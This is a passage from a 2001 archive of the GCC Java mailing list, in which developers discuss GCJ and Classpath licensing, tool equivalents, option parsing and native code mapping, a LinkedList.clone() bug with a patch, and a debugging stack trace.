Obviously the licensing and potential for duplication of effort is our problem. If we have to do it, then we have to do it. It would be less efficient, and of course we'd rather share efforts, but whether we can also depends on your goals and requirements. Classpath already has two licenses in it, and I personally don't want to be in the position of saying "let's reject java.foo from Classpath because it is LGPL and not GPL+exception". For one thing RMS would reject this. Tom From java-return-6426-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 11 05:11:18 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 5062 invoked by alias); 11 Jul 2001 05:11:16 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 5019 invoked from network); 11 Jul 2001 05:11:15 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 11 Jul 2001 05:11:15 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id XAA10094; Tue, 10 Jul 2001 23:10:35 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id XAA16795; Tue, 10 Jul 2001 23:33:19 -0600 To: Brian Jones Cc: "Nic Ferrier" , java@gcc.gnu.org, classpath@gnu.org, classpathx-discuss@gnu.org Subject: Re: Java tools References: X-Zippy: Just to have MORE FUN, I'll pretend I am JAMES CAGNEY and I am having a tense, UP-TIGHT EXPERIENCE!! X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 10 Jul 2001 23:33:16 -0600 In-Reply-To: Brian Jones's message of "10 Jul 2001 14:24:44 -0400" Message-ID: <87r8vot4gz.fsf@creche.redhat.com> Lines: 30 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Brian" == Brian Jones writes: Brian> Copyright assignment is useful for making the core libraries Brian> legally defensible in whole from a single party, the FSF. I do Brian> think that it has slowed the progress of the project, but I do Brian> not know why this is so. I think one reason is because it is a huge pain. Sometimes if you work at a company, getting them to let you sign is a major obstacle. Also the process itself needs streamlining. It regularly takes a month for the paperwork to happen. People often lose interest when nothing happens for a month. (And a month is pretty good -- sometimes it takes much longer.) Brian> To date I don't think we've refused to accept code under a Brian> different license for tools. Certainly a simple javap, javah, Brian> and javadoc would be nice to have. javap: look at jcf-dump in gcj. javah: look at gcjh in gcj. Installing gcj just for these tools is a bit heavy. But hopefully these things will start showing up in Linux distributions as standard tools very soon. I don't know if Sun's java[hp] are extensible from Java. If they are then you'll be disappointed by jcf-dump and gcjh; they are written in (sometimes poor) C. Tom From java-return-6427-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 11 05:26:50 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 9714 invoked by alias); 11 Jul 2001 05:26:47 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 9693 invoked from network); 11 Jul 2001 05:26:45 -0000 Received: from unknown (HELO owls-house.tapsellferrier.co.uk) (195.7.242.237) by sourceware.cygnus.com with SMTP; 11 Jul 2001 05:26:45 -0000 Received: from muddy-patch.tapsellferrier.co.uk ([195.7.242.227] helo=tapsellferrier.co.uk) by owls-house.tapsellferrier.co.uk with smtp (Exim 3.12 #1 (Debian)) id 15KCWJ-0006Cy-00 for ; Wed, 11 Jul 2001 06:26:43 +0100 Received: from tf-Message_Server by tapsellferrier.co.uk with Novell_GroupWise; Wed, 11 Jul 2001 06:28:39 +0100 Message-Id: X-Mailer: Novell GroupWise 5.2 Date: Wed, 11 Jul 2001 06:22:09 +0100 From: "Nic Ferrier" To: tromey@redhat.com Cc: java@gcc.gnu.org Subject: Re: gij.c Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline >>> Tom Tromey 11-Jul-01 6:15:34 AM >>> Nic> If no one has any objections I will getopt enable gij. Tom> Could you do it for native-only builds? Actually I worked out a good reason why it's not being used. AFAIK getopt doesn't support options like this: -classpath we need to of course. What I'd like to do is make it longopt compatible... but for now I'm just adding the code to make it work the way the Sun VM does (in other words I'm providing extension lib functionality with a build configurable extension lib and the default with the debian policy). Oh, I remember now that we only build gij for natives. So maybe we're ok. We could just link in libiberty. I don't really understand any of this... someone should write some doc about how linking is done in things like this (sorry: the autoconf book is not idiot proof enough). We really need to clarify our licensing set-up in the manual. Right now it is too confusing; you might end up with libltdl included when you don't want it. I agree. Whatever that means /8-> Nic From java-return-6428-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 11 05:41:34 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 15292 invoked by alias); 11 Jul 2001 05:41:33 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 15272 invoked from network); 11 Jul 2001 05:41:33 -0000 Received: from unknown (HELO bothner.com) (216.102.199.253) by sourceware.cygnus.com with SMTP; 11 Jul 2001 05:41:33 -0000 Received: (from bothner@localhost) by bothner.com (8.11.0/8.11.0) id f6B5iED17563; Tue, 10 Jul 2001 22:44:14 -0700 X-Authentication-Warning: bothner.com: bothner set sender to per@bothner.com using -f To: java@gcc.gnu.org, classpath@gnu.org, classpathx-discuss@gnu.org Subject: Re: Java tools References: <87r8vot4gz.fsf@creche.redhat.com> From: Per Bothner Date: 10 Jul 2001 22:44:13 -0700 In-Reply-To: <87r8vot4gz.fsf@creche.redhat.com> Message-ID: Lines: 27 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.4 (Academic Rigor) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Tom Tromey writes: > javap: look at jcf-dump in gcj. > ... > I don't know if Sun's java[hp] are extensible from Java. If they are > then you'll be disappointed by jcf-dump and gcjh; they are written in > (sometimes poor) C. The goal of jcf-dump is write out all the information in a .class file, in a way useful for implementors. So it has more detail and a different format that the output freom javap. There is a --javap flag whose goal is to produce the same output as javap - but we haven't put much effort into that. I think it is mainly that someone has to care enough and have the time to sit down and do it. It should be an easy beginner project, and shouldn't take more than a couple of days. Another problem with jcf-dump is that the disassembler part of it uses macros in a way that may be hard to understand. A simple switch statement might in retrospect have been better. The disassembler in gnu.bytecode.CodeAttr (see http://www.gnu.org/software/kawa/api/gnu/bytecode/CodeAttr.html) does a rough but simple binary search of the opcodes, plus various tricks for a compact and fast disassembler. If someone wants a javap replacement in Java, you can use gnu.bytecode.dump -- --Per Bothner per@bothner.com http://www.bothner.com/per/ From java-return-6429-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 11 05:43:26 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 15884 invoked by alias); 11 Jul 2001 05:43:26 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 15864 invoked from network); 11 Jul 2001 05:43:24 -0000 Received: from unknown (HELO owls-house.tapsellferrier.co.uk) (195.7.242.237) by sourceware.cygnus.com with SMTP; 11 Jul 2001 05:43:24 -0000 Received: from muddy-patch.tapsellferrier.co.uk ([195.7.242.227] helo=tapsellferrier.co.uk) by owls-house.tapsellferrier.co.uk with smtp (Exim 3.12 #1 (Debian)) id 15KCmR-0006DT-00 for ; Wed, 11 Jul 2001 06:43:23 +0100 Received: from tf-Message_Server by tapsellferrier.co.uk with Novell_GroupWise; Wed, 11 Jul 2001 06:45:19 +0100 Message-Id: X-Mailer: Novell GroupWise 5.2 Date: Wed, 11 Jul 2001 06:41:59 +0100 From: "Nic Ferrier" To: java@gcc.gnu.org Subject: advice wanted on Classpath merging Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline I'd like to port my GCJ PlainSocketImpl changes into the Classpath code. I have a problem though. My current code uses select. GCJ requires that I use _Jv_select (defined in posix.cc). Classpath, of course, doesn't have a _Jv_select and would just use select(). Also Classpath uses JNI mappings where GCJ uses CNI. The Classpath JNI simply call an additional c module they call: javanet So there are two issues that confront me: 1. how to implement select 2. how to handle the native code mapping Dealing with (1) first: The GCJ code for select might benefit Classpath as well... so I could easily abstract the functionality of _Jv_select to a module that could be used by both Classpath and GCJ. But it might be difficult to do that in a way that's portable between the 2 projects. Alternately I could use the pre-processor to check what call I should make for select() functionality. And now (2) What is the form for native code mapping? I presume that all of GCJ's native code should be CNI and no JNI included? If so I can just have the CNI and Classpath's JNI call the arren javanet module (as long as I keep the CNI and JNI native requirements the same). Any thoughts or ideas are gratefully received. Nic From java-return-6430-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 11 05:52:27 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 19746 invoked by alias); 11 Jul 2001 05:52:27 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 19726 invoked from network); 11 Jul 2001 05:52:27 -0000 Received: from unknown (HELO cygnus.com) (205.180.230.5) by sourceware.cygnus.com with SMTP; 11 Jul 2001 05:52:27 -0000 Received: from fencer.cygnus.com (fencer.cygnus.com [205.180.230.60]) by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id WAA15242; Tue, 10 Jul 2001 22:52:26 -0700 (PDT) Received: (apbianco@localhost) by fencer.cygnus.com (8.9.3/8.6.4) id WAA03253; Tue, 10 Jul 2001 22:52:26 -0700 From: Alexandre Petit-Bianco MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15179.59802.645109.131058@fencer.cygnus.com> Date: Tue, 10 Jul 2001 22:52:26 -0700 (PDT) To: java@gcc.gnu.org, classpath@gnu.org, classpathx-discuss@gnu.org Subject: Re: Java tools In-Reply-To: References: <87r8vot4gz.fsf@creche.redhat.com> X-Mailer: VM 6.62 under Emacs 19.34.1 Reply-To: apbianco@cygnus.com X-Organization: Red Hat, Sunnyvale CA, USA. X-URL: http://gcc.gnu.org/java/ X-Zippy: Here I am at the flea market but nobody is buying my urine sample bottles.. Per Bothner writes: > If someone wants a javap replacement in Java, you can use > gnu.bytecode.dump OT: Is the libjava tree the primary tree? I've been looking for an implementation of gnu.tools.gcj (something equivalent to sun.tools.javac.) ./A From java-return-6431-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 11 06:01:39 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 21788 invoked by alias); 11 Jul 2001 06:01:37 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 21766 invoked from network); 11 Jul 2001 06:01:37 -0000 Received: from unknown (HELO bothner.com) (216.102.199.253) by sourceware.cygnus.com with SMTP; 11 Jul 2001 06:01:37 -0000 Received: (from bothner@localhost) by bothner.com (8.11.0/8.11.0) id f6B64Il25705; Tue, 10 Jul 2001 23:04:18 -0700 X-Authentication-Warning: bothner.com: bothner set sender to per@bothner.com using -f To: apbianco@cygnus.com Cc: java@gcc.gnu.org, classpath@gnu.org, classpathx-discuss@gnu.org Subject: Re: Java tools References: <87r8vot4gz.fsf@creche.redhat.com> <15179.59802.645109.131058@fencer.cygnus.com> From: Per Bothner Date: 10 Jul 2001 23:04:18 -0700 In-Reply-To: <15179.59802.645109.131058@fencer.cygnus.com> Message-ID: Lines: 16 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.4 (Academic Rigor) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Alexandre Petit-Bianco writes: > Per Bothner writes: > > > If someone wants a javap replacement in Java, you can use > > gnu.bytecode.dump > > OT: Is the libjava tree the primary tree? I've been looking for an > implementation of gnu.tools.gcj (something equivalent to sun.tools.javac.) Are you referring to gnu.bytecode? If so, the answer is no - that package is in the Kawa cvs tree, and not in libjava. If someone wants to import classes from gnu.bytecode into libgcj, I'd be happy to donate it. -- --Per Bothner per@bothner.com http://www.bothner.com/per/ From java-return-6432-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 11 06:28:52 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 2219 invoked by alias); 11 Jul 2001 06:28:51 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 2160 invoked from network); 11 Jul 2001 06:28:46 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 11 Jul 2001 06:28:46 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id AAA19019; Wed, 11 Jul 2001 00:28:40 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id AAA18311; Wed, 11 Jul 2001 00:51:24 -0600 To: Per Bothner Cc: "Anthony Green" , "Java@Gcc. Gnu. Org" Subject: Re: classpaths and jar files References: <000101c1069a$a134b200$5be6b4cd@cygnus.com> X-Zippy: Fold, fold, FOLD!! FOLDING many items!! X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 11 Jul 2001 00:51:23 -0600 In-Reply-To: Per Bothner's message of "06 Jul 2001 22:56:01 -0700" Message-ID: <87g0c4c61g.fsf@creche.redhat.com> Lines: 22 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Per" == Per Bothner writes: Per> I would rather have any resource files etc from a .jar be Per> compiled into the executable (or shared library). I definitely agree. Per> Thus a resource file should be compiled to an initialized byte Per> array in a read-only data segment. One way to do this, which is pretty lame but easy to implement, is to compile the resource file into an appropriately-named Java class file which is then compiled and linked in to the application. This is a bit of a hack though. I guess we could implement this "for real" by defining a global table which maps resource bundle names to byte arrays. Then we would use static constructors to initialize the table. Finally we would write a simple gcc front end to turn a resource file into a small C++ program which we'd run through cc1plus. This actually wouldn't be too hard. Tom From java-return-6433-listarch-java=gcc.gnu.org@gcc.gnu.org Wed Jul 11 14:29:04 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 824 invoked by alias); 11 Jul 2001 14:29:04 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 785 invoked from network); 11 Jul 2001 14:29:01 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 11 Jul 2001 14:29:01 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id IAA18018; Wed, 11 Jul 2001 08:28:57 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id IAA18828; Wed, 11 Jul 2001 08:51:46 -0600 To: "Nic Ferrier" Cc: java@gcc.gnu.org Subject: Re: gij.c References: X-Zippy: Yow! Now I get to think about all the BAD THINGS I did to a BOWLING BALL when I was in JUNIOR HIGH SCHOOL! X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 11 Jul 2001 08:51:44 -0600 In-Reply-To: "Nic Ferrier"'s message of "Wed, 11 Jul 2001 06:22:09 +0100" Message-ID: <874rsjzfgf.fsf@creche.redhat.com> Lines: 13 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Nic" == Nic Ferrier writes: Nic> AFAIK getopt doesn't support options like this: Nic> -classpath Nic> we need to of course. `getopt_long_only' might do what you want. But I re-read the getopt license in libiberty. It is GPL. So I think we can't really use it anyway. Especially since I think we want the option parsing code to be in the invocation API, not gij especially. Tom From java-return-6434-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 12 04:44:00 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 20425 invoked by alias); 12 Jul 2001 04:43:58 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 20389 invoked from network); 12 Jul 2001 04:43:48 -0000 Received: from unknown (HELO bradfitz.com) (65.12.151.124) by sourceware.cygnus.com with SMTP; 12 Jul 2001 04:43:48 -0000 Received: from pepper (dozer [10.0.0.12]) by bradfitz.com (Postfix) with SMTP id 81EEC16A18 for ; Wed, 11 Jul 2001 21:43:41 -0700 (PDT) Message-ID: <0be001c10a8d$6d073560$0c00000a@pepper> From: "Brad Fitzpatrick" To: Subject: LinkedList.clone() bug Date: Wed, 11 Jul 2001 21:45:07 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2462.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2462.0000 Hello, First off, I want to thank all the gcj developers.... wonderful tool! Although I'd heard about it for awhile, I didn't use it until today. When testing my project built with gcj I found the output was different from the jar I'd built with Blackdown's bytecode compiler. I traced it down to a minor bug in the gcj java library, as illustrated by this test case: /* Test program showing LinkedList.clone() bug */ import java.io.*; import java.util.*; class test { public static void main (String[] args) { LinkedList l1 = new LinkedList(); l1.add("foo"); l1.add("bar"); LinkedList l2 = (LinkedList) l1.clone(); for (ListIterator i = l1.listIterator(); i.hasNext(); ) { System.out.println("L1: "+i.next()); } for (ListIterator i = l2.listIterator(); i.hasNext(); ) { System.out.println("L2: "+i.next()); } } } /******************************* Using Blackdown's javac & java: (expected results) L1: foo L1: bar L2: foo L2: bar Using gcj-3.0: L1: foo L1: bar L1: foo L1: bar L2: foo L2: bar L2: foo L2: bar *****************/ --------- cut ---------- Possible Patch .... --- gcc-3.0/libjava/java/util/LinkedList.java.orig Wed Jul 11 20:50:47 2001 +++ gcc-3.0/libjava/java/util/LinkedList.java Wed Jul 11 20:51:11 2001 @@ -466,14 +466,7 @@ */ public Object clone() { - LinkedList copy = null; - try - { - copy = (LinkedList) super.clone(); - } - catch (CloneNotSupportedException ex) - { - } + LinkedList copy = new LinkedList(); copy.size = 0; copy.addAll(this); return copy; Nothing about LinkedList implements clone() so I'm not sure what the previous code was trying to do. What seems to be happening is is effectively: try { copy = this; } catch (..) { } Which results in effectively: copy.addAll(copy); return copy; // with elements doubled, and the same object reference -- Brad Fitzpatrick brad@danga.com From java-return-6435-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 12 07:58:10 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 27332 invoked by alias); 12 Jul 2001 07:58:07 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 27249 invoked from network); 12 Jul 2001 07:58:06 -0000 Received: from unknown (HELO cygnus.com) (205.180.230.5) by sourceware.cygnus.com with SMTP; 12 Jul 2001 07:58:06 -0000 Received: from fencer.cygnus.com (fencer.cygnus.com [205.180.230.60]) by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id AAA17243; Thu, 12 Jul 2001 00:57:48 -0700 (PDT) Received: (apbianco@localhost) by fencer.cygnus.com (8.9.3/8.6.4) id AAA22721; Thu, 12 Jul 2001 00:57:48 -0700 From: Alexandre Petit-Bianco MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15181.22652.561683.211589@fencer.cygnus.com> Date: Thu, 12 Jul 2001 00:57:48 -0700 (PDT) To: David Brownell , java@gcc.gnu.org Subject: Re: more gcj 3.0 fun -- catch { try {...}...}, encodings In-Reply-To: <01a301c0fde8$780afd40$6800000a@brownell.org> References: <01a301c0fde8$780afd40$6800000a@brownell.org> X-Mailer: VM 6.62 under Emacs 19.34.1 Reply-To: apbianco@cygnus.com X-Organization: Red Hat, Sunnyvale CA, USA. X-URL: http://gcc.gnu.org/java/ X-Zippy: All of a sudden, I want to THROW OVER my promising ACTING CAREER, grow a LONG BLACK BEARD and wear a BASEBALL HAT!! ... Although I don't know WHY!! David Brownell writes: > There's another problem that keeps coming up when I run that API > test suite with GCJ 3.0, and this one seems a bit strange. I was able to reproduce the problem (David hacked the build system to accomodate using jdk1.1.8 -- thanks.) I also fixed the problem that prevented xmlconf from been built from source (there's patch already on java/3285 that I'll be checking in soon.) With CLASSPATH pointing to a javax.servlet implementation (I used Jakarta's) we're down to three rather innocuous errors: ./xml/vendor/HtmlParser.java javax.swing.text.html.parser not found ./xml/vendor/OracleDriver.java oracle.xml.parser.v2 not found ./xml/vendor/Parser2.java com.sun.xml.parser not found So maybe the build from source approach could be revisited... ./A From java-return-6436-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 12 08:21:47 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 3357 invoked by alias); 12 Jul 2001 08:21:47 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 3331 invoked from network); 12 Jul 2001 08:21:46 -0000 Received: from unknown (HELO david.siemens.de) (192.35.17.14) by sourceware.cygnus.com with SMTP; 12 Jul 2001 08:21:46 -0000 X-Envelope-Sender-Is: martin.kahlert@infineon.com (at relayer david.siemens.de) Received: from mail1.siemens.de (mail1.siemens.de [139.23.33.14]) by david.siemens.de (8.11.0/8.11.0) with ESMTP id f6C8Lec03273; Thu, 12 Jul 2001 10:21:40 +0200 (MET DST) Received: from mail-l.muc.infineon.com (mail-l.muc.infineon.com [172.29.174.210]) by mail1.siemens.de (8.11.4/8.11.4) with ESMTP id f6C8LdG16746; Thu, 12 Jul 2001 10:21:39 +0200 (MET DST) Received: from keksy.muc.infineon.com (keksy [172.29.174.218]) by mail-l.muc.infineon.com with ESMTP id f6C8LdP00716; Thu, 12 Jul 2001 10:21:39 +0200 (MET DST) Received: (from kahlert@localhost) by keksy.muc.infineon.com (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id KAA06266; Thu, 12 Jul 2001 10:21:38 +0200 Date: Thu, 12 Jul 2001 10:21:37 +0200 From: Martin Kahlert To: java@gcc.gnu.org Cc: tromey@redhat.com Subject: Some questions Message-ID: <20010712102137.A6000@keksy.muc.infineon.com> Reply-To: martin.kahlert@infineon.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Hi! I recently returned from my vacation and tried the newly released 3.0 for my sources. The first question is: Why did Tromey's patch http://gcc.gnu.org/ml/java-patches/2001-q2/msg00405.html not make it into the release? It's not in the 20010709 snapshot, either. Since i am behind a firewall, that's all i can check, but i assume, it's inside the development branch. Another strange thing is this: In the past i found some errors by running my prog with Electric Fence, but now, that doesn't work any more: It seems to loop forever. I tried gdb-5.0 but when i run the prog under the debugger i get a segfault at once. The stack trace is quite deep and has a lot of natString.concat calls inside. Then i tried to attach to the looping program, and i get a stacktrace that ends with #4019 0x4002734b in _Unwind_RaiseException (exc=0x86260a0) at ../../gcc/unwind-dw2.c:981 #4020 0x4015d169 in _Jv_Throw (value=0x861efe0) at ../../../libjava/exception.cc:104 #4021 0x40153624 in _Jv_ThrowSignal () at ../../../libjava/prims.cc:113 #4022 0x40153652 in catch_segv(int) () at ../../../libjava/prims.cc:122 #4023 #4024 0x4016db3b in _Jv_IsAssignableFrom(java::lang::Class*, java::lang::Class*) (target=0x83fb9a0, source=0x8604fb8) at ../../../libjava/java/lang/natClass.cc:958 #4025 0x4016dc0a in _Jv_IsInstanceOf (obj=0x861efe0, cl=0x83fb9a0) at ../../../libjava/java/lang/natClass.cc:993 #4026 0x4015d81e in __gcj_personality_v0 (version=1, actions=1, exception_class=5138137972373280321, ue_header=0x86260e0, context=0xbf7ff5e4) at ../../../libjava/exception.cc:348 #4027 0x4002734b in _Unwind_RaiseException (exc=0x86260e0) at ../../gcc/unwind-dw2.c:981 #4028 0x4015d169 in _Jv_Throw (value=0x861efe0) at ../../../libjava/exception.cc:104 #4029 0x40153624 in _Jv_ThrowSignal () at ../../../libjava/prims.cc:113 #4030 0x40153652 in catch_segv(int) () at ../../../libjava/prims.cc:122 #4031 #4032 0x4016db3b in _Jv_IsAssignableFrom(java::lang::Class*, java::lang::Class*) (target=0x8416660, source=0x840da40) at ../../../libjava/java/lang/natClass.cc:958 #4033 0x4016dc0a in _Jv_IsInstanceOf (obj=0x86dbdc8, cl=0x8416660) at ../../../libjava/java/lang/natClass.cc:993 #4034 0x080e1413 in java::lang::String::concat(java::lang::String*) () at ../../../libjava/java/lang/natString.cc:772 #4035 0x080f18f1 in java::lang::String::concat(java::lang::String*) () at ../../../libjava/java/lang/natString.cc:772 #4036 0x080f185a in java::lang::String::concat(java::lang::String*) () at ../../../libjava/java/lang/natString.cc:772 #4037 0x080beeeb in java::lang::String::concat(java::lang::String*) () at ../../../libjava/java/lang/natString.cc:772 #4038 0x080be03c in java::lang::String::concat(java::lang::String*) () at ../../../libjava/java/lang/natString.cc:772 #4039 0x08109aa1 in java::lang::String::concat(java::lang::String*) () at ../../../libjava/java/lang/natString.cc:772 #4040 0x0810dac5 in java::lang::String::concat(java::lang::String*) () at ../../../libjava/java/lang/natString.cc:772 #4041 0x0810d5de in java::lang::String::concat(java::lang::String*) () at ../../../libjava/java/lang/natString.cc:772 #4042 0x0807130e in java::lang::String::concat(java::lang::String*) () at ../../../libjava/java/lang/natString.cc:772 #4043 0x4016a357 in gnu::gcj::runtime::FirstThread::run() (this=0x8625f00) at ../../../libjava/gnu/gcj/runtime/natFirstThread.cc:146 #4044 0x40175192 in java::lang::Thread::run_(java::lang::Object*) (obj=0x8625f00) at ../../../libjava/java/lang/natThread.cc:276 #4045 0x40282695 in really_start(void*) (x=0x866bff8) at ../../../libjava/posix-threads.cc:349 #4046 0x4044c6b3 in GC_start_routine (arg=0x8624f80) at ../../../boehm-gc/linux_threads.c:633 #4047 0x40464e93 in pthread_start_thread (arg=0xbf7ffe40) at manager.c:241 The uppermost part is (gdb) where #0 0x4016db39 in _Jv_IsAssignableFrom(java::lang::Class*, java::lang::Class*) (target=0x83fb9a0, source=0x8604fb8) at ../../../libjava/java/lang/natClass.cc:958 #1 0x4016dc0a in _Jv_IsInstanceOf (obj=0x861efe0, cl=0x83fb9a0) at ../../../libjava/java/lang/natClass.cc:993 #2 0x4015d81e in __gcj_personality_v0 (version=1, actions=1, exception_class=5138137972373280321, ue_header=0x8738320, context=0xbf78299c) at ../../../libjava/exception.cc:348 #3 0x4002734b in _Unwind_RaiseException (exc=0x8738320) at ../../gcc/unwind-dw2.c:981 #4 0x4015d169 in _Jv_Throw (value=0x861efe0) at ../../../libjava/exception.cc:104 #5 0x40153624 in _Jv_ThrowSignal () at ../../../libjava/prims.cc:113 #6 0x40153652 in catch_segv(int) () at ../../../libjava/prims.cc:122 #7 #8 0x4016db3b in _Jv_IsAssignableFrom(java::lang::Class*, java::lang::Class*) (target=0x83fb9a0, source=0x8604fb8) at ../../../libjava/java/lang/natClass.cc:958 #9 0x4016dc0a in _Jv_IsInstanceOf (obj=0x861efe0, cl=0x83fb9a0) at ../../../libjava/java/lang/natClass.cc:993 #10 0x4015d81e in __gcj_personality_v0 (version=1, actions=1, exception_class=5138137972373280321, ue_header=0x8738360, context=0xbf782d94) at ../../../libjava/exception.cc:348 #11 0x4002734b in _Unwind_RaiseException (exc=0x8738360) at ../../gcc/unwind-dw2.c:981 #12 0x4015d169 in _Jv_Throw (value=0x861efe0) at ../../../libjava/exception.cc:104 #13 0x40153624 in _Jv_ThrowSignal () at ../../../libjava/prims.cc:113 #14 0x40153652 in catch_segv(int) () at ../../../libjava/prims.cc:122 #15 #16 0x4016db3b in _Jv_IsAssignableFrom(java::lang::Class*, java::lang::Class*) (target=0x83fb9a0, source=0x8604fb8) at ../../../libjava/java/lang/natClass.cc:958 #17 0x4016dc0a in _Jv_IsInstanceOf (obj=0x861efe0, cl=0x83fb9a0) at ../../../libjava/java/lang/natClass.cc:993 #18 0x4015d81e in __gcj_personality_v0 (version=1, actions=1, exception_class=5138137972373280321, ue_header=0x87383a0, context=0xbf78318c) at ../../../libjava/exception.cc:348 #19 0x4002734b in _Unwind_RaiseException (exc=0x87383a0) at ../../gcc/unwind-dw2.c:981 #20 0x4015d169 in _Jv_Throw (value=0x861efe0) at ../../../libjava/exception.cc:104 This is a linux system. gcc -v: Reading specs from /sw/gcc-3/lib/gcc-lib/i686-pc-linux-gnu/3.0/specs Configured with: /home/kahlert/LOCAL/gcc-3.0/configure --prefix=/sw/gcc-3 --enable-languages=c++,java,f77 --enable-threads=posix Thread model: posix gcc version 3.0 Any ideas? How do you guys debug? Where do i have to set a breakpoint and in which thread? Thanks, Martin -- The early bird catches the worm. If you want something else for breakfast, get up later. From 